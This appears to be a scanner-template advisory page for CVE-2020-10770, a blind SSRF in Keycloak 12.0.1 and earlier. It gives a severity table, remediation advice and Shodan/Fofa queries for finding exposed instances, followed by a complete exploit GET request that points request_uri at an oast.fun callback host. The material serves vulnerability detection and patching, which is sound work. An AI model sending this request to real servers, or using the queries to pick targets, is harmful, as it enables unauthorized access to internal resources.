| Title | Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF) |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, data leakage, or further attacks. |
| Remediation | Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.92282 |
| CVE ID | CVE-2020-10770 |
| CWE ID | CWE-918 |
| Shodan Query | http.html:"keycloak"http.title:"keycloak"http.favicon.hash:-1105083093 |
| Fofa Query | title="keycloak"icon_hash=-1105083093body="keycloak" |
| Tags | cve cve2020 keycloak ssrf oast blind packetstorm edb redhat vkev vuln |
Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
GET /auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://d5jodvple0o4r30fced0w8k16g4cdxrn8.oast.fun/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10770.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-10770.pcap
N/AN/A